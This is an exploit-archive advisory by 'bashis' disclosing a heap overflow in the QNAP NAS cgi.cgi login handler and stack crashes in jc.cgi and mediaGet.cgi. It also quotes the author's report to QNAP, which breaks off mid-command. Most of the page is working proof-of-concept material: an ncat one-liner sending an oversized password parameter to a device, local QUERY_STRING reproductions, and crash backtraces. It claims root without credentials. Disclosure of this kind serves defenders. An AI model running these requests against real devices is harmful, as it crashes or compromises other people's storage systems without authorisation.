Exploit QNAP NAS Devices - Heap Overflow

[Exploiter]

EDB-ID

40985

Проверка EDB

1. Пройдено

Автор

BASHIS

Тип уязвимости

DOS

Платформа

HARDWARE

CVE

N/A

Дата публикации

2017-01-02

QNAP NAS Devices - Heap Overflow

==================

1) [Heap overflow]

==================

Path: /home/httpd/cgi-bin/cgi.cgi

u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443

HTTP/1.1 200 OK

Date: Sat, 31 Dec 2016 00:01:11 GMT

*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***

======= Backtrace: =========

======= Memory map: ========

08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00: 00 0 [heap]

[====SNIP====]

ffe53000-ffe54000 rw-p 00000000 00: 00 0

Content-Length: 0

Connection: close

Content-Type: text/plain

[Remote host]#

=======

1.2)

/* Local test, to get more info from backtrace */

# export QUERY_STRING="u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"

# ./cgi.cgi

*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***

======= Backtrace: =========

/lib/libc.so.6[0xf6c3da62]

/lib/libc.so.6(cfree+0x89)[0xf6c3f729]

/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]

/lib/libnss_compat.so.2[0xf6b8ac25]

/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]

/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]

/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]

/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]

/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]

/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
19098]

./cgi.cgi[0x80502ed]

./cgi.cgi[0x8051a7e]

/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]

./cgi.cgi[0x804d151]

======= Memory map: ========

08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00:00 0 [heap]

[====SNIP====]

ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack]

ffdbe000-ffdbf000 rw-p 00000000 00:00 0

Aborted

#

1.3)

# export QUERY_STRING="u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"

# ./cgi.cgi

*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***

======= Backtrace: =========

/lib/libc.so.6[0xf6c9da62]

/lib/libc.so.6(cfree+0x89)[0xf6c9f729]

/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]

/lib/libnss_compat.so.2[0xf6beac25]

/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]

/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]

/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]

/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]

/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]

/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf75
79098]

[0x80502ed]

[0x0]

======= Memory map: ========

08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi

08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi

0806b000-0808c000 rw-p 00000000 00:00 0 [heap]

[====SNIP====]

# ./cgi.cgi

Segmentation fault

#

# dmesg

[====SNIP====]

[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]

[====SNIP====]

/* Local as shown below, but can of course be called from remote */

==================

2) [STACK junk]

==================

# export QUERY_STRING="bug"

# ./jc.cgi

Segmentation fault

# dmesg

[====SNIP====]

[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]

[====SNIP====]

==================

3) [STACK junk]

==================

/* Local as shown, but can be called from remote */

# export QUERY_STRING="bug"

# ./mediaGet.cgi

Segmentation fault

# dmesg

[====SNIP====]

[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]

[====SNIP====]

Have a nice day (and happy new year)

/bashis

========================

Hello mcw (at) noemail (dot) eu [email concealed],

We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:

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If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.

Thanks,

qnap.com admins

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Date: Sun, 1 Jan 2017 03:50:06 +0800

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To: security (at) qnap (dot) com [email concealed]

From: bashis mcw <mcw (at) noemail (dot) eu [email concealed]>

Subject: Reporting Security Issues - [Critical] QNAP NAS devices suffer of Heap Overflow!

Message-ID: <5acc9d206d9601dc574a02b114c83e8a (at) aid.qnap (dot) com [email concealed]>

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boundary="b1_5acc9d206d9601dc574a02b114c83e8a"

Category : Administration

Subject : QNAP NAS devices suffer of Heap Overflow!

Severity Level : Critical

Description :

Greetings gents,

QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and

non critical stack crash in "jc.cgi and mediaGet.cgi".

Successful exploitation of this heap overflow vulnerability can lead to

unauthorised root (admin) privileges on QNAP devices with anonymous

access. (no credential needed to exploit)

Please note: 1st February 2017 i will release details of these bugs to

Full Disclosure and Bugtraq e-mail lists.

Please see below and attached.

Have a nice day (and happy new year)

/bashis

==================

1) [HEAP overflow]

==================

Path: /home/httpd/cgi-bin/cgi.cgi

u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i

Sign Time : 2017/01/01 03:50:06